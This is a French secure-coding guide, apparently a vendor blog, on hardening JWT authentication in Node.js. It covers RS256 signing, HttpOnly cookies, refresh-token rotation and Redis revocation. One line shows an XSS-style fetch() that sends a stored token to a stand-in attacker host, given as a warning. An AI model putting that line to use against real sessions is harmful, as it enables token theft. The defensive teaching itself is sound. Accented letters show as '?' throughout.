TL;DR ? Les points cl?s
  • Jamais de JWT dans localStorage ? utilisez des cookies HttpOnly Secure SameSite=Strict
  • Access token court (15 min) + refresh token r?vocable = le meilleur ?quilibre s?curit?/UX
  • Signez toujours avec RS256 (asym?trique), jamais HS256 en production multi-service
  • Validez TOUS les claims : exp, iss, aud, et le JTI si vous avez une blocklist
  • Une blocklist Redis permet la r?vocation imm?diate sans casser l'architecture stateless

Anatomie d'un JWT et ses risques

Un JWT est compos? de trois parties encod?es en Base64URL et s?par?es par des points : header, payload, et signature. Le header indique l'algorithme, le payload contient les claims (donn?es), et la signature garantit l'int?grit?.

# Structure d'un JWT d?cod?
Header  : { "alg": "RS256", "typ": "JWT" }
Payload : { "userId": "123", "exp": 1746000000, "jti": "uuid-unique" }
# ?️ Le payload est lisible par n'importe qui ? jamais de donn?es sensibles !

Attention : Le payload d'un JWT est encod? en Base64, pas chiffr?. N'importe qui peut lire son contenu. Ne mettez jamais de donn?es sensibles dans le payload (mot de passe, num?ro de CB, informations m?dicales).

1. Choisir le bon algorithme de signature

C'est l'erreur la plus impactante et la plus r?pandue. Beaucoup de tutoriels utilisent HS256 (HMAC-SHA256) qui signe avec une cl? secr?te partag?e. Le probl?me : tous les services qui v?rifient le token doivent conna?tre cette cl? ? ce qui cr?e un risque massif de fuite si un seul service est compromis.

  • HS256 (sym?trique) ? une seule cl? pour signer ET v?rifier. Si un service est compromis, tous les tokens peuvent ?tre forg?s.
  • RS256 (asym?trique) ? cl? priv?e pour signer (uniquement l'auth service), cl? publique pour v?rifier (tous les services). Un service compromis ne peut pas forger de tokens.
const jwt = require('jsonwebtoken');
const { readFileSync } = require('fs');
const privateKey = readFileSync('./keys/private.pem');
const publicKey  = readFileSync('./keys/public.pem');

// ✅ Signer avec RS256 ? seul l'auth service a la cl? priv?e
const token = jwt.sign(
  { userId: '123', jti: crypto.randomUUID() },
  privateKey,
  {
    algorithm: 'RS256',
    expiresIn: '15m',
    issuer: 'auth.monapp.fr',
    audience: 'api.monapp.fr'
  }
);

// ✅ V?rifier c?t? API ? uniquement la cl? publique n?cessaire
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],    // bloquer alg:none et HS256 explicitement
  issuer: 'auth.monapp.fr',
  audience: 'api.monapp.fr'
});

G?n?rer une paire RSA 4096 bits : openssl genrsa -out private.pem 4096 && openssl rsa -in private.pem -pubout -out public.pem

2. Stocker les tokens c?t? client : la r?gle d'or

Le d?bat localStorage vs cookie est tranch? depuis longtemps c?t? s?curit? : les cookies HttpOnly sont la seule option acceptable en production. localStorage est accessible ? tout JavaScript ex?cut? sur votre page ? y compris les scripts tiers, les extensions de navigateur compromises, et les injections XSS.

// ❌ Ce que fait un script XSS pour voler vos tokens localStorage en 1 ligne
fetch('https://attaquant.com/stealt=' + localStorage.getItem('jwt'));

// ✅ Cookie HttpOnly : inaccessible au JavaScript, envoy? automatiquement
res.cookie('access_token', token, {
  httpOnly: true,        // inaccessible ? document.cookie et au JS
  secure: true,          // HTTPS uniquement
  sameSite: 'Strict',    // protection CSRF int?gr?e
  maxAge: 15 * 60 * 1000,  // 15 minutes
  path: '/api'           // scope limit?
});

3. Access tokens courts + refresh tokens

Un access token qui n'expire jamais est une catastrophe : si vol?, l'attaquant a un acc?s permanent. Mais expirer toutes les 15 minutes oblige l'utilisateur ? se reconnecter constamment. Le pattern access + refresh token r?sout ce probl?me : l'access token expire vite (15 min), le refresh token dure longtemps (7 jours) mais ne peut servir qu'? obtenir un nouvel access token.

// Endpoint de refresh ? ?change un refresh token contre un nouvel access token
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) return res.status(401).json({ error: 'Non authentifi?' });

  try {
    const payload = jwt.verify(refreshToken, publicKey, { algorithms: ['RS256'] });

    // V?rifier que le refresh token n'est pas r?voqu?
    const isRevoked = await redis.get(`blocklist:${payload.jti}`);
    if (isRevoked) return res.status(401).json({ error: 'Session expir?e' });

    // Émettre un nouvel access token
    const newAccessToken = jwt.sign(
      { userId: payload.userId },
      privateKey,
      { algorithm: 'RS256', expiresIn: '15m', jti: crypto.randomUUID() }
    );

    res.cookie('access_token', newAccessToken, {
      httpOnly: true, secure: true, sameSite: 'Strict', maxAge: 900000
    });
    res.json({ ok: true });
  } catch {
    res.status(401).json({ error: 'Token invalide' });
  }
});

4. R?voquer un JWT avant son expiration

JWT est stateless ? le serveur ne stocke rien et ne peut pas "annuler" un token une fois ?mis. Si un utilisateur se d?connecte, change son mot de passe, ou si son compte est compromis, ses tokens restent valides jusqu'? leur expiration naturelle. La solution : une blocklist l?g?re dans Redis.

// R?voquer un token (d?connexion, changement de mot de passe...)
async function revokeToken(token) {
  const payload = jwt.decode(token);
  const ttl = payload.exp - Math.floor(Date.now() / 1000); // secondes restantes
  if (ttl > 0) {
    await redis.setex(`blocklist:${payload.jti}`, ttl, '1');
    // Redis supprime automatiquement la cl? ? l'expiration du token
  }
}

// Middleware de v?rification int?grant la blocklist
async function authenticate(req, res, next) {
  const token = req.cookies.access_token;
  if (!token) return res.status(401).json({ error: 'Non authentifi?' });
  try {
    const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
    const revoked = await redis.get(`blocklist:${payload.jti}`);
    if (revoked) return res.status(401).json({ error: 'Token r?voqu?' });
    req.user = payload;
    next();
  } catch {
    res.status(401).json({ error: 'Token invalide ou expir?' });
  }
}

5. Rotation des refresh tokens avec d?tection de vol

Pour d?tecter le vol d'un refresh token, impl?mentez la rotation : ? chaque utilisation, ?mettez un nouveau refresh token et invalidez l'ancien. Si quelqu'un utilise un refresh token d?j? consomm?, c'est qu'il a ?t? vol? ? vous r?voquez imm?diatement toute la session.

// À chaque appel ? /auth/refresh
const alreadyUsed = await redis.get(`used_refresh:${payload.jti}`);
if (alreadyUsed) {
  // ALERTE : token r?utilis? = vol potentiel d?tect?
  await revokeAllUserSessions(payload.userId);
  return res.status(401).json({ error: 'Session compromise, reconnexion requise' });
}

// Marquer l'ancien refresh token comme consomm?
await redis.setex(`used_refresh:${payload.jti}`, 7 * 24 * 3600, '1');

// Émettre un nouveau refresh token
const newRefreshToken = jwt.sign(
  { userId: payload.userId },
  privateKey,
  { algorithm: 'RS256', expiresIn: '7d', jti: crypto.randomUUID() }
);
res.cookie('refresh_token', newRefreshToken, {
  httpOnly: true, secure: true, sameSite: 'Strict',
  maxAge: 7 * 24 * 3600 * 1000, path: '/auth/refresh'
});

CyberGuard surveille les anomalies d'authentification

Tentatives de replay de tokens r?voqu?s, flood sur vos endpoints d'auth, credential stuffing : CyberGuard d?tecte ces patterns et les bloque automatiquement, sans modifier votre code d'authentification.

Essayer gratuitement 15 jours ?

Checklist & conclusion

  • Algorithme RS256 (asym?trique) en production multi-service
  • Tokens stock?s en cookie HttpOnly Secure SameSite=Strict uniquement
  • Access token expiration ≤ 15 minutes
  • Refresh token 7-30 jours, path limit?, rotation ? chaque utilisation
  • Validation des claims exp, iss, aud, jti ? chaque requ?te
  • Blocklist Redis pour la r?vocation imm?diate
  • Aucune donn?e sensible dans le payload
  • Rate limiting strict sur tous les endpoints d'authentification

Les JWT sont un excellent m?canisme quand ils sont bien impl?ment?s. Les erreurs les plus dangereuses sont simples ? ?viter : stockage dans localStorage, tokens sans expiration, validation incompl?te des claims. Appliquez ce guide et votre authentification r?sistera ? la grande majorit? des vecteurs d'attaque courants.